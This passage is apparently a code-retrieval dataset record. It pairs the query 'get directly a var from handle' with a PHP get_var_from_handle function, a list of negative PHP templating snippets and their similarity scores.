\"{{\".substr($theContentArray[0],0,200).\"}} <br />\";\r\n\t\t\t\t\t//echo \"COUNT ARRAY:\".$cnum.\" <br /><br>\";\r\n\t\t\t\t\t\r\n\t\t\t\t\tif(strpos($theContentArray[0], \",'\")){\t\t\t\t\t\t\r\n\t\t\t\t\t\t$contentarray[$a]['name'] = $theFunctionArray[1];\r\n\t\t\t\t\t\t$contentarray[$a]['order'] = $theFunctionArray[0];\r\n\t\t\t\t\t\t//echo \"VAR: \".$contentarray[$i]['name'].\"<br>\";\r\n\t\t\t\t\t\t//echo \"NAME: \".$contentarray[$a]['name'].\"<br>\";\r\n\t\t\t\t\t\t//echo \"Order: \".$contentarray[$a]['order'].\"<br><br>\";\r\n\t\t\t\t\t\t$f++;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$g++;\r\n\t\t\t\t}\r\n\t\t\t\t$a++;\r\n\t\t\t}//END while\r\n\t\t}\r\n\t\t//exit();\r\n\t\treturn $contentarray;\r\n\t}", "public function initContent()\n {\n parent::initContent();\n\n $this->setTemplate(_PS_THEME_DIR_.'<%= name %>.tpl');\n }", "public function display_template($echo = false){\n\n $this->smarty->assignLang(\"site_name\", SITE_NAME); \n $this->smarty->assignLang(\"site_tag_line\", SITE_TAG_LINE); \n $this->smarty->assign(\"root_dir\", ROOT_DIR); \n $this->smarty->assign(\"www_server\", WWW_SERVER);\n $this->smarty->assign(\"admin_server\", ADMIN_SERVER);\n $this->smarty->assign(\"domain\", DOMAIN);\n $this->smarty->assign(\"secure_server\", SECURE_SERVER);\n $this->smarty->assign(\"form_action\", htmlspecialchars($_SERVER['PHP_SELF']) . '?' . $_SERVER[\"QUERY_STRING\"]);\n $this->smarty->assign(\"onloadscript\", $this->onloadscript);\n if(sizeof($this->warn_controls) == 0){\n $this->smarty->assign(\"set_focus_control\", $this->set_focus_control);\n }else{\n $this->smarty->assign(\"set_focus_control\", $this->warn_controls[0]);\t\t\n }\n $this->smarty->assign(\"warnings\", $this->warnings);\n $this->smarty->assign(\"data\", $this->data);\n $this->smarty->assign(\"show_warnings\", sizeof($this->warnings) >0);\n $this->smarty->assign(\"warn_controls\", $this->warn_controls); \n $this->smarty->assign(\"page_title\", htmlspecialchars($this->page_title));\n $this->smarty->assign(\"menu_item\", $this->menu_item);\t\t\n $this->smarty->assign(\"tracker_location\", $this->tracker_location);\t\t\t\t\n $this->smarty->assign(\"show_tracker\",$this->show_tracker);\t\t\t\t\n $this->smarty->assign(\"viewstate\", $this->serialize_viewstate());\n\t\t$this->smarty->assign(\"rss_link\", $this->rss_link);\n\t\t$this->smarty->assign(\"current_url\", $_SERVER['REQUEST_URI']);\n\t\t$this->smarty->assign(\"google_maps_key\", GOOGLE_MAPS_KEY);\n\t\t$this->smarty->assign(\"use_body_script\", $this->use_body_script);\n\n foreach($this->warn_controls as $warn_control) {\n $this->assign('warn_' . $warn_control, true);\n }\n\n if ($echo != false){\n $this->smarty->display($this->smarty_template);\n }else{\n echo $this->smarty->fetch($this->smarty_template); \n }\n }", "function susy_menu_tree__main_menu($vars) {\n return '<ul class=\"menu inline clearfix\">' . $vars['tree'] . '</ul>';\n}", "public function add_tag_template($filename, $data = array())\n\t{\n\t\t//$data[\"there_is_new_order\"] = $this->Admin_model->return_total_rows('order', 'status', 'open');\n\t\t\n\t\t$this->admin_header();\n\t\t$data['header'] = $this->load->view('templates/admin_header', $data, TRUE);\n\t\t$data['footer'] = $this->load->view('templates/admin_footer', '', TRUE);\n\t\t$this->load->view('admins/'.$filename, $data);\n\t}", "public function render()\n {\n $name = $this->arguments['name'];\n $value = $this->arguments['value'];\n\n if (null === $value) {\n $value = $this->renderChildren();\n }\n if (false === strpos($name, '.')) {\n if (true === $this->templateVariableContainer->exists($name)) {\n $this->templateVariableContainer->remove($name);\n }\n $this->templateVariableContainer->add($name, $value);\n } elseif (1 === substr_count($name, '.')) {\n $parts = explode('.', $name);\n $objectName = array_shift($parts);\n $path = implode('.', $parts);\n if (false === $this->templateVariableContainer->exists($objectName)) {\n return;\n }\n $object = $this->templateVariableContainer->get($objectName);\n try {\n ObjectAccess::setProperty($object, $path, $value);\n // Note: re-insert the variable to ensure unreferenced values like arrays also get updated\n $this->templateVariableContainer->remove($objectName);\n $this->templateVariableContainer->add($objectName, $object);\n } catch (\\Exception $error) {\n return;\n }\n }\n }", "function drop_var($handle)\r\n\t{\r\n\t\tif (isset($this->vars[$handle])) unset($this->vars[$handle]);\r\n\t}", "private static function render( $filename, $vars = array() ){\n\t\tself::$render = self::$cwd.'/'.$filename.'.php';\n\t\tif( file_exists(self::$render) ){\n\t\t\textract( (array) $vars, EXTR_SKIP );\n\t\t\tinclude self::$render;\n\t\t}\n\t}", "public function editor_scripts_as_a_module( $tag, $handle ) {\n\t\tif ( 'elementor-hello-world-editor' === $handle ) {\n\t\t\t$tag = str_replace( '<script', '<script type=\"module\"', $tag );\n\t\t}\n\n\t\treturn $tag;\n\t}", "function et_extra_shortcodes_strings_handle( $handle ) {\n\treturn et_load_unminified_scripts() ? $handle : 'extra-scripts';\n}", "function Template()\r\n\t{\r\n\t\t$this->out = \"\";\r\n\t\t$this->objs = array();\r\n\t\t$this->vars = array();\r\n\t\t$this->data = &$data;\r\n\t\t$this->use_getvar = false;\r\n\t}", "protected function _content_template() {\n\t}", "function tpl_include(Template $that, string $tpl): string\n{\n $matches = null;\n if (false === preg_match_all('/<include\\s+(.*)\\s*\\/>/', $tpl, $matches)) {\n throw new Exception(\"Template error\");\n }\n foreach ($matches[0] as $key => $match) {\n $arg = $matches[1][$key];\n //$tpl = str_replace($match, \"<?php \\$this->show($arg, \\$__data); ? >\", $tpl);\n $tpl = str_replace($match, \"<?php \\$__cacheFile = \\$this->getCachefile($arg); if (!file_exists(\\$__cacheFile )) \\$this->process($arg, get_defined_vars()); include \\$this->getCachefile($arg); ?>\", $tpl);\n }\n\n return $tpl;\n}", "public function tokenize($code, $filename = null)\n\t{\n\t\tif ($code instanceof \\Twig_Source)\n\t\t{\n\t\t\t$source = $code;\n\t\t\t$code = $source->getCode();\n\t\t\t$filename = $source->getName();\n\t\t}\n\n\t\t// Our phpBB tags\n\t\t// Commented out tokens are handled separately from the main replace\n\t\t$phpbb_tags = array(\n\t\t\t/*'BEGIN',\n\t\t\t'BEGINELSE',\n\t\t\t'END',\n\t\t\t'IF',\n\t\t\t'ELSE',\n\t\t\t'ELSEIF',\n\t\t\t'ENDIF',\n\t\t\t'DEFINE',\n\t\t\t'UNDEFINE',*/\n\t\t\t'ENDDEFINE',\n\t\t\t'INCLUDE',\n\t\t\t'INCLUDEPHP',\n\t\t\t'INCLUDEJS',\n\t\t\t'INCLUDECSS',\n\t\t\t'PHP',\n\t\t\t'ENDPHP',\n\t\t\t'EVENT',\n\t\t);\n\n\t\t// Twig tag masks\n\t\t$twig_tags = array(\n\t\t\t'autoescape',\n\t\t\t'endautoescape',\n\t\t\t'if',\n\t\t\t'elseif',\n\t\t\t'else',\n\t\t\t'endif',\n\t\t\t'block',\n\t\t\t'endblock',\n\t\t\t'use',\n\t\t\t'extends',\n\t\t\t'embed',\n\t\t\t'filter',\n\t\t\t'endfilter',\n\t\t\t'flush',\n\t\t\t'for',\n\t\t\t'endfor',\n\t\t\t'macro',\n\t\t\t'endmacro',\n\t\t\t'import',\n\t\t\t'from',\n\t\t\t'sandbox',\n\t\t\t'endsandbox',\n\t\t\t'set',\n\t\t\t'endset',\n\t\t\t'spaceless',\n\t\t\t'endspaceless',\n\t\t\t'verbatim',\n\t\t\t'endverbatim',\n\t\t);\n\n\t\t// Fix tokens that may have inline variables (e.g. <!-- DEFINE $TEST = '{FOO}')\n\t\t$code = $this->strip_surrounding_quotes(array(\n\t\t\t'INCLUDE',\n\t\t\t'INCLUDEPHP',\n\t\t\t'INCLUDEJS',\n\t\t\t'INCLUDECSS',\n\t\t), $code);\n\t\t$code = $this->fix_inline_variable_tokens(array(\n\t\t\t'DEFINE \\$[a-zA-Z0-9_]+ =',\n\t\t\t'INCLUDE',\n\t\t\t'INCLUDEPHP',\n\t\t\t'INCLUDEJS',\n\t\t\t'INCLUDECSS',\n\t\t), $code);\n\t\t$code = $this->add_surrounding_quotes(array(\n\t\t\t'INCLUDE',\n\t\t\t'INCLUDEPHP',\n\t\t\t'INCLUDEJS',\n\t\t\t'INCLUDECSS',\n\t\t), $code);\n\n\t\t// Fix our BEGIN statements\n\t\t$code = $this->fix_begin_tokens($code);\n\n\t\t// Fix our IF tokens\n\t\t$code = $this->fix_if_tokens($code);\n\n\t\t// Fix our DEFINE tokens\n\t\t$code = $this->fix_define_tokens($code);\n\n\t\t// Replace all of our starting tokens, <!-- TOKEN --> with Twig style, {% TOKEN %}\n\t\t// This also strips outer parenthesis, <!-- IF (blah) --> becomes <!-- IF blah -->\n\t\t$code = preg_replace('#<!-- (' . implode('|', $phpbb_tags) . ')(?: (.*?) ?)?-->#', '{% $1 $2 %}', $code);\n\n\t\t// Replace all of our twig masks with Twig code (e.g. <!-- BLOCK .+ --> with {% block $1 %})\n\t\t$code = $this->replace_twig_tag_masks($code, $twig_tags);\n\n\t\t// Replace all of our language variables, {L_VARNAME}, with Twig style, {{ lang('NAME') }}\n\t\t// Appends any filters after lang()\n\t\t$code = preg_replace('#{L_([a-zA-Z0-9_\\.]+)(\\|[^}]+?)?}#', '{{ lang(\\'$1\\')$2 }}', $code);\n\n\t\t// Replace all of our escaped language variables, {LA_VARNAME}, with Twig style, {{ lang('NAME')|escape('js') }}\n\t\t// Appends any filters after lang(), but before escape('js')\n\t\t$code = preg_replace('#{LA_([a-zA-Z0-9_\\.]+)(\\|[^}]+?)?}#', '{{ lang(\\'$1\\')$2|escape(\\'js\\') }}', $code);\n\n\t\t// Replace all of our variables, {VARNAME}, with Twig style, {{ VARNAME }}\n\t\t// Appends any filters\n\t\t$code = preg_replace('#{([a-zA-Z0-9_\\.]+)(\\|[^}]+?)?}#', '{{ $1$2 }}', $code);\n\n\t\t// Tokenize \\Twig_Source instance\n\t\treturn parent::tokenize(new \\Twig_Source($code, $filename));\n\t}", "function generate_block_varref($namespace, $varname)\n\t{\n\t\t// Strip the trailing period.\n\t\t$namespace = substr($namespace, 0, strlen($namespace) - 1);\n\n\t\t// Get a reference to the data block for this namespace.\n\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\t\t// Prepend the necessary code to stick this in an echo line.\n\n\t\t// Append the variable reference.\n\t\t$varref .= '[\\'' . $varname . '\\']';\n\n\t\t$varref = '\\' . ( ( isset(' . $varref . ') ) ? ' . $varref . ' : \\'\\' ) . \\'';\n\n\t\treturn $varref;\n\n\t}", "protected function _content_template() { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore \n\t\t$this->content_template();\n\t}", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strpos($blockname, '.') !== false)\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata;\n\t\t\tfor($i = 0; $i < $blockcount; $i++)\n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i] . '.'];\n\t\t\t\t$str = &$str[sizeof($str) - 1];\n\t\t\t}\n\n\t\t\t$s_row_count = isset($str[$blocks[$blockcount] . '.']) ? sizeof($str[$blocks[$blockcount] . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// Now the tricky part, we always assign S_LAST_ROW and remove the entry before\n\t\t\t// This is much more clever than going through the complete template data on display (phew)\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($str[$blocks[$blockcount] . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Now we add the block that we're actually assigning to.\n\t\t\t// We're adding a new iteration to this block with the given variable assignments.\n\t\t\t$str[$blocks[$blockcount] . '.'][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Top-level block.\n\t\t\t$s_row_count = (isset($this->_tpldata[$blockname . '.'])) ? sizeof($this->_tpldata[$blockname . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// We always assign S_LAST_ROW and remove the entry before\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($this->_tpldata[$blockname . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Add a new iteration to this block with the variable assignments we were given.\n\t\t\t$this->_tpldata[$blockname . '.'][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "function generate_block_varref($namespace, $varname, $use_isset = true)\n\t{\n\t\t// Strip the trailing period.\n\t\t$namespace = substr($namespace, 0, strlen($namespace) - 1);\n\n\t\t// Get a reference to the data block for this namespace.\n\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\t\t// Prepend the necessary code to stick this in an echo line.\n\n\t\t// Append the variable reference.\n\t\t$varref .= '[\\'' . $varname . '\\']';\n\n\t\tif($use_isset)\n\t\t{\n\t\t\t$varref = '<' . '?php echo isset(' . $varref . ') ? ' . $varref . ' : \\'\\'; ?' . '>';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$varref = '<' . '?php echo ' . $varref . '; ?' . '>';\n\t\t}\n\n\t\treturn $varref;\n\t}", "function smarty_resource_pagesvar_trusted($tplName, &$smarty)\n{\n}", "public function printVar($varName) {\n if ( isset($this->templateVars[$varName]) ) {\n echo $this->templateVars[$varName];\n }\n }", "function include_template($template, $vars)\n{\n $result = \"\";\n\n if (file_exists($template)) {\n if (is_array($vars)) {\n extract($vars);\n }\n\n ob_start();\n require $template;\n $result = ob_get_clean();\n }\n\n return $result;\n}", "protected function processVariable(File $phpcsFile, $stackPtr)\n {\n\n }", "function guestbook_render_template($template_file, $variables) {\n // Extract the variables to a local namespace\n extract($variables, EXTR_SKIP);\n\n // Start output buffering\n ob_start();\n\n // Include the template file\n include GUESTBOOK_ROOT . '/' . $template_file;\n\n // End buffering and return its contents\n return ob_get_clean();\n}", "function template($template_filename) {\n if ( $template_filename[0] == '/' ) {\n $this->template_file = $template_filename;\n } else {\n $this->template_file = $this->module_path.'template/'.$template_filename;\n }\n }", "function compile_template($template)\n {\n $template = preg_replace('/<\\?xml/i', \"<?php echo '<?xml'; ?>\", $template);\n\n // Compile variables in PHP code\n preg_match_all(\n \"/<[\\?|%]+(php|=)?(.*)[\\?|%]+>/siU\",\n $template,\n $regs,\n PREG_SET_ORDER\n );\n\n for ($i = 0; isset($regs[$i]); $i++) {\n // Fix single quotes\n $parsed = preg_replace_callback(\n \"/=\\s*'(.*)\".preg_quote($this->start).\"([A-Z0-9_]+)\".preg_quote($this->end).\"(.*)';/Usi\",\n array(&$this, '_fix_php_quotes'),\n $regs[$i][0]\n );\n\n $parsed = preg_replace_callback(\n '='.preg_quote($this->start).'([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_php_var'),\n $parsed\n );\n\n $template = str_replace($regs[$i][0], $parsed, $template);\n }\n\n // Compile variables\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_var'),\n $template\n );\n\n // Compile condition tags\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'if(not?)?\\s+([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_condition_start'),\n $template\n );\n\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'endif(not?)?\\s+([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_condition_end'),\n $template\n );\n\n return $template;\n }", "protected function _parseTemplate() {}", "public function setTemplateVar($varName, $varValue) {\n $this->templateVars[$varName] = $varValue;\n }", "static function leerTemplate($template) \n {\n if (!file_exists($template))\n return '';\n ob_start();\n include $template;\n $template = ob_get_contents();\n ob_end_clean();\n return $template;\n }" ]
[ "0.57649237", "0.5644619", "0.5496164", "0.5491128", "0.54272187", "0.5292101", "0.5188994", "0.511057", "0.5008002", "0.49207908", "0.4895164", "0.48708895", "0.48192587", "0.48149568", "0.4811808", "0.47885075", "0.47710255", "0.4753466", "0.47404492", "0.4738838", "0.47159904", "0.46862492", "0.46476483", "0.46264946", "0.4594324", "0.45892593", "0.45856825", "0.45627734", "0.454845", "0.45293757", "0.45272532", "0.45246756", "0.45197347", "0.4510181", "0.45027462", "0.44942638", "0.4483477", "0.44619086", "0.4460284", "0.44567198", "0.4456328", "0.4455935", "0.4449805", "0.44454193", "0.44424444", "0.44422185", "0.44414508", "0.4435878", "0.4435508", "0.44340768", "0.4429288", "0.4428877", "0.44211093", "0.44060653", "0.44010472", "0.4399512", "0.43934488", "0.43888", "0.43854758", "0.43832812", "0.43727532", "0.4370234", "0.43698326", "0.43613678", "0.4360307", "0.43554565", "0.4352698", "0.43462288", "0.43423137", "0.43358612", "0.43358612", "0.43235946", "0.43183234", "0.4314569", "0.4312695", "0.43108046", "0.43030688", "0.4297063", "0.42947993", "0.42927697", "0.42916298", "0.42910933", "0.428903", "0.4288355", "0.42830732", "0.4278865", "0.42755535", "0.4275296", "0.4270252", "0.42679608", "0.42667964", "0.42577317", "0.42531475", "0.4241063", "0.42395586", "0.42378715", "0.42361704", "0.42294776", "0.42292574", "0.42285046" ]
0.5948496
0
Special function to get directly a var from handle
function get_var_from_handle($handle) { ob_start(); $this->pparse($handle); $res = ob_get_contents(); ob_end_clean(); return $res; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function get_var($handle)\r\n\t{\r\n\t\tif (!isset($this->vars[$handle])) { $this->error(\"phemplate(): no such handle '$handle'\", 'warning'); }\r\n\t\treturn $this->vars[$handle];\r\n\t}", "function getHandle();", "function assign_var_from_handle($varname, $handle)\n\t{\n\t\tob_start();\n\t\t$res = $this->pparse($handle);\n\t\t$this->vars[$varname] = ob_get_contents();\n\t\tob_end_clean();\n\t\treturn $res;\n\t}", "public function get_handle();", "function get_var_silent($handle)\r\n\t{\r\n\t\tif (!isset($this->vars[$handle])) { $this->vars[$handle] = ''; return ''; }\r\n\t\treturn $this->vars[$handle];\r\n\t}", "function get_handle( $handle='' )\n\t{\n\t\t//no handle specified, use the main hardcoded block\n\t\tif( !$handle )\n\t\t\treturn $this->main_result;\n\t\telse\n\t\t\treturn $this->results[strval($handle)];\n\t}", "function SM_getVar($varName) {\n global $SM_siteManager;\n return $SM_siteManager->inVarH->getVar($varName);\n}", "abstract protected function handle_get($name);", "function &get($key) {\n\t\tif (isset($this->args[$key]))\n\t\t\t$val=&$this->args[$key];\n\t\telse\n\t\t\t$val=NULL;\n\t\treturn $val;\n\t}", "function ts3client_getServerVariableAsString($serverConnectionHandlerID, $flag, &$result) {}", "function staticGet($k,$v=NULL) { return DB_DataObject::staticGet('Chiara_PEAR_Server_Backend_DBDataObject_Handles',$k,$v); }", "public function __get($var) {\n \treturn get_instance()->$var;\n }", "public function get($variable);", "public function getVar($name)\n {\n return $this->var_holder->get($name);\n }", "function drop_var($handle)\r\n\t{\r\n\t\tif (isset($this->vars[$handle])) unset($this->vars[$handle]);\r\n\t}", "public function val($vname)\n{\nif (!$this->valIsSet($vname)) throw new \\Exception(\"$vname: Variable not set\");\nreturn $this->vars[$vname];\n}", "function ts3client_getClientVariableAsString($serverConnectionHandlerID, $clientID, $flag, &$result) {}", "function getVar($lsvar)\n\t{\n\t\t$d = $this->data;\n\t\t\n\t\treturn $d[$lsvar];\n\t\t\n\t}", "function get($var) {\n\t\treturn $this->_viewVars[$var];\n\t}", "function ts3client_getConnectionVariableAsString($serverConnectionHandlerID, $clientID, $flag, &$result) {}", "function ts3client_getServerVariableAsInt($serverConnectionHandlerID, $flag, &$result) {}", "public function get_handle(): string {\n\t\treturn $this->handle;\n\t}", "function ts3client_getClientSelfVariableAsString($serverConnectionHandlerID, $flag, &$result) {}", "public function get_data($handle, $key)\n {\n }", "function ts3client_getClientVariableAsInt($serverConnectionHandlerID, $clientID, $flag, &$result) {}", "function get_var($query=null,$x=0,$y=0)\n\t\t{\n\n\t\t\t// Log how the function was called\n\t\t\t$this->func_call = \"\\$db->get_var(\\\"$query\\\",$x,$y)\";\n\n\t\t\t// If there is a query then perform it if not then use cached results..\n\t\t\tif ( $query )\n\t\t\t{\n\t\t\t\t$this->query($query);\n\t\t\t}\n\n\t\t\t// Extract var out of cached results based x,y vals\n\t\t\tif ( $this->last_result[$y] )\n\t\t\t{\n\t\t\t\t$values = array_values(get_object_vars($this->last_result[$y]));\n\t\t\t}\n\n\t\t\t// If there is a value return it else return null\n\t\t\treturn (isset($values[$x]) && $values[$x]!=='')?$values[$x]:null;\n\t\t}", "function ts3client_getClientSelfVariableAsInt($serverConnectionHandlerID, $flag, &$result) {}", "function GetVar( $var )\r\n {\r\n return $this->_vars[$var];\r\n }", "function get_var($value) {\n\t\tglobal $agi;\n\n\t\t$r = $agi->get_variable( $value );\n\t\tif ($r['result'] == 1) {\n\t\t\t$result = $r['data'];\n\t\t\treturn trim($result);\n\t\t}\n\t\treturn '';\n\t}", "public function get(string $variableName);", "public function get_var ($a_name) {\n\t\t\n\t\tif ($this->loaded == 0) {\n\t\t\t$this->load();\n\t\t}\n\t\t\n\t\tif (isset($this->data[$a_name])) {\n\t\t\treturn $this->data[$a_name];\n\t\t}\n\t\t\n\t}", "function get_var($query=null,$x=0,$y=0) {\n\n\t\t\t// If there is a query then perform it if not then use cached results..\n\t\t\tif ( $query ) {\n\t\t\t\t$this->query($query);\n\t\t\t}\n\n\t\t\t// Extract var out of cached results based x,y vals\n\t\t\tif ( $this->last_result[$y] ) {\n\t\t\t\t$values = array_values(get_object_vars($this->last_result[$y]));\n\t\t\t}\n\n\t\t\t// If there is a value return it else return null\n\t\t\treturn (isset($values[$x]) && $values[$x]!=='')?$values[$x]:null;\n\t\t}", "function _getVar($name) {\n if( is_array($this->_vars) && isset($this->_vars[\"$name\"]) )\n return $this->_vars[\"$name\"];\n else\n return \"\";\n }", "public function __get($var)\n\t{\n\t\treturn get_instance()->$var;\n\t}", "public function __get($var)\n\t{\n\t\treturn get_instance()->$var;\n\t}", "public function __get($var)\n\t{\n\t\treturn get_instance()->$var;\n\t}", "public function __get($key)\n {\n return $this->var_holder->get($key);\n }", "public function __get($var)\n {\n return isset($this->_vars[$var]) ? $this->_vars[$var] : null;\n }", "function get_var($query=null,$x=0,$y=0, $use_prepare=false)\n\t\t{\n\t\t\t// Log how the function was called\n\t\t\t$this->log_query(\"\\$db->get_var(\\\"$query\\\",$x,$y)\");\n\n\t\t\t// If there is a query then perform it if not then use cached results..\n\t\t\tif ( $query)\n\t\t\t{\n\t\t\t\t$this->query($query, $use_prepare);\n\t\t\t}\n\n\t\t\t// Extract public out of cached results based x,y vals\n\t\t\tif ( $this->last_result[$y] )\n\t\t\t{\n\t\t\t\t$values = array_values(get_object_vars($this->last_result[$y]));\n\t\t\t}\n\t\t\t\n\t\t\t// If there is a value return it else return null\n\t\t\treturn (isset($values[$x]) && $values[$x]!=='')?$values[$x]:null;\n\t\t}", "abstract function get();", "public function __get($var) {\n\n return get_instance()->$var;\n }", "public static function get($var)\n {\n // Retrieve value\n return self::$data['vars'][$var];\n }", "function get_var( $query = null, $x = 0, $y = 0 ) {\n\t\t$this->dbcr_wpdb->func_call = \"\\$db->get_var(\\\"$query\\\", $x, $y)\";\n\t\tif ( $query )\n\t\t\t$this->dbcr_query( $query );\n\n\t\t// Extract var out of cached results based x,y vals\n\t\tif ( !empty( $this->dbcr_wpdb->last_result[$y] ) ) {\n\t\t\t$values = array_values( get_object_vars( $this->dbcr_wpdb->last_result[$y] ) );\n\t\t}\n\n\t\t// If there is a value return it else return null\n\t\treturn ( isset( $values[$x] ) && $values[$x] !== '' ) ? $values[$x] : null;\n\t}", "public function __get($name)\n\t{\n\t\treturn $this->var[$name];\n\t}", "public function __get($var)\n {\n return get_instance()->$var;\n }", "public function __get($var)\n {\n return get_instance()->$var;\n }", "function &get ($k) {\n\t\t$var_name = \"__fu_$k\";\n\t\treturn $GLOBALS[$var_name];\n\t}", "abstract function is_handle($var);", "function Get($var='') {\n\t\tif ($var == '') return false;\n\t\tif (!isset($this->_ExternalVars[$var])) return false;\n\t\treturn $this->_ExternalVars[$var];\n\t}", "function getBindVariableName() ;", "public function __get($var)\n {\n $result = $this->getAdapter()->{$var};\n\n return $result;\n }", "public function getVarHolder()\n {\n return $this->var_holder;\n }", "public function getVar($name) {\r\n return $this->VARS[$name];\r\n }", "function get_assigned($handle, $key)\n {\n return $this->mBlockKeys[$handle][$key];\n }", "public function getHandle()\n {\n return $this->handle;\n }", "public function getHandle()\n {\n return $this->handle;\n }", "public function getHandle()\n {\n return $this->handle;\n }", "public function getHandle()\n {\n return $this->handle;\n }", "function pnUserGetVar($name, $uid=-1)\r\n{\r\n static $vars = array();\r\n\r\n if (empty($name)) {\r\n return;\r\n }\r\n\r\n if ($uid == -1) {\r\n $uid = pnSessionGetVar('uid');\r\n }\r\n if (empty($uid)) {\r\n return;\r\n }\r\n\r\n // Get this user's variables if not already obtained\r\n if (!isset($vars[$uid])) {\r\n $vars[$uid] = pnUserGetVars($uid);\r\n }\r\n\r\n // Return the variable\r\n if (isset($vars[$uid][$name])) {\r\n return $vars[$uid][$name];\r\n } else {\r\n return;\r\n }\r\n}", "protected final function get($name){\n\t\tif(!$this->check_hide($name)){\n\t\t\tif(!is_null($this->get_hook)){\n\t\t\t\treturn $this->do_callbacks($this->get_hook,$name);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//if the datatype was create\n\t\t\t\tif(array_key_exists($name, $this->vars)){\n\t\t\t\t\t//check if the datatype has a value\n\t\t\t\t\tif(array_key_exists($name, $this->values)){\n\t\t\t\t\t\treturn $this->values[$name];\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\treturn null;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\treturn null;\n\t\t}\n\t\t\n\t}", "abstract public function get() ;", "function __get($name) {\n\t\t\t\t\tif (array_key_exists($name,$this->vars)) {\n\t\t\t\t\t\treturn $this->vars[$name];\n\t\t\t\t\t}\n\t\t\t\t\treturn null;\n\t\t\t\t}", "public function userHandle(): string;", "public function __get($var)\n {\n switch ($var) {\n default:\n return parent::__get($var);\n }\n }", "protected function _read($var)\n\t{\n\t\treturn $this->memcached->get($this->key_prefix . $var);\n\t}", "public function __get($var)\n\t{\n\t\t$entity = $this->execute();\n\t\tif($entity) {\n\t\t\treturn $entity->$var;\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}", "public function getHandle()\n\t\t{\n\t\t\treturn $this->handle;\n\t\t}", "public function getVar($name)\n {\n return $this->varHolder->get($name);\n }", "public function __get($varName)\n\t{\n\t\tif(isset($this->$varName))\n\t\t{\n\t\t\treturn $this->$varName;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn null;\n\t\t}\n\t}", "public function & dereference($name)\n {\n //if the variable exists, return it\n if(isset($this->vars[$name]))\n return $this->vars[$name]; \n\n //otherwise, trigger an error and retrun null\n $this->trigger_undefined_variable($name);\n return null;\n }", "function append_var_from_handle_to_block($blockname, $varname, $handle)\n\t{\n\t\t$this->assign_var_from_handle('_tmp', $handle);\n\t\t// assign the value of the generated variable to the given varname.\n\t\t$this->append_block_vars($blockname, array($varname => $this->vars['_tmp']));\n\t\treturn true;\n\t}", "public function getHandle( $file );", "function ts3client_getConnectionVariableAsDouble($serverConnectionHandlerID, $clientID, $flag, &$result) {}", "public function __get($varName) {\n return $this->$varName;\n }", "function __get($strMagicVar)\n\t{\n\t\tswitch ($strMagicVar)\n\t\t{\n\t\t\tcase \"RowHighlighting\":\n\t\t\t\treturn $this->_bolRowHighlighting;\n\t\t}\n\t\t\n\t\treturn NULL;\n\t}", "public function __get($var){\n\t\treturn $this->$var;\n\t}", "public function get_variable($var)\n {\n return $this->$var;\n }", "public function __get($_name);", "public function getHandle()\n {\n return $this->getInternalId();\n }", "function select() {\n\t\t$raw = shmop_read($this -> id, 0, $this -> size);\n\t\tif ($this -> raw === false) {\n\t\t\t$this -> val = unserialize($raw);\n\n\t\t} else {\n\t\t\t$i = strpos($raw, \"\\0\");\n\t\t\tif ($i === false) {\n\t\t\t\t$this -> val = $raw;\n\t\t\t}\n\t\t\t$this -> val = substr($raw, 0, $i);\n\n\t\t}\n\n\t\treturn $this -> val;\n\n\t}", "public function getVariableValue($variable_id, array $args = array(), array $data = array());", "public function get($key)\n\t{\n\t\t$result = null;\n\n\t\tif (isset($this->vars[$key]))\n\t\t{\n\t\t\t$result = $this->vars[$key];\n\t\t}\n\n\t\treturn $result;\n\t}", "public function get_var($query=null, $x=0, $y=0) {\n\n\t\t// If there is a query then perform it if not then use cached results..\n\t\tif ($query) {\n\t\t\t$this->query($query);\n\t\t}\n\n\t\t// Extract var out of cached results based x,y vals\n\t\tif ($this->last_result[$y]) {\n\t\t\t$values = array_values(get_object_vars($this->last_result[$y]));\n\t\t}\n\n\t\t// If there is a value return it else return null\n\t\treturn (isset($values[$x]) && $values[$x]!=='') ? $values[$x] : null;\n\t}", "public function getVar($name) {\n\t\tif 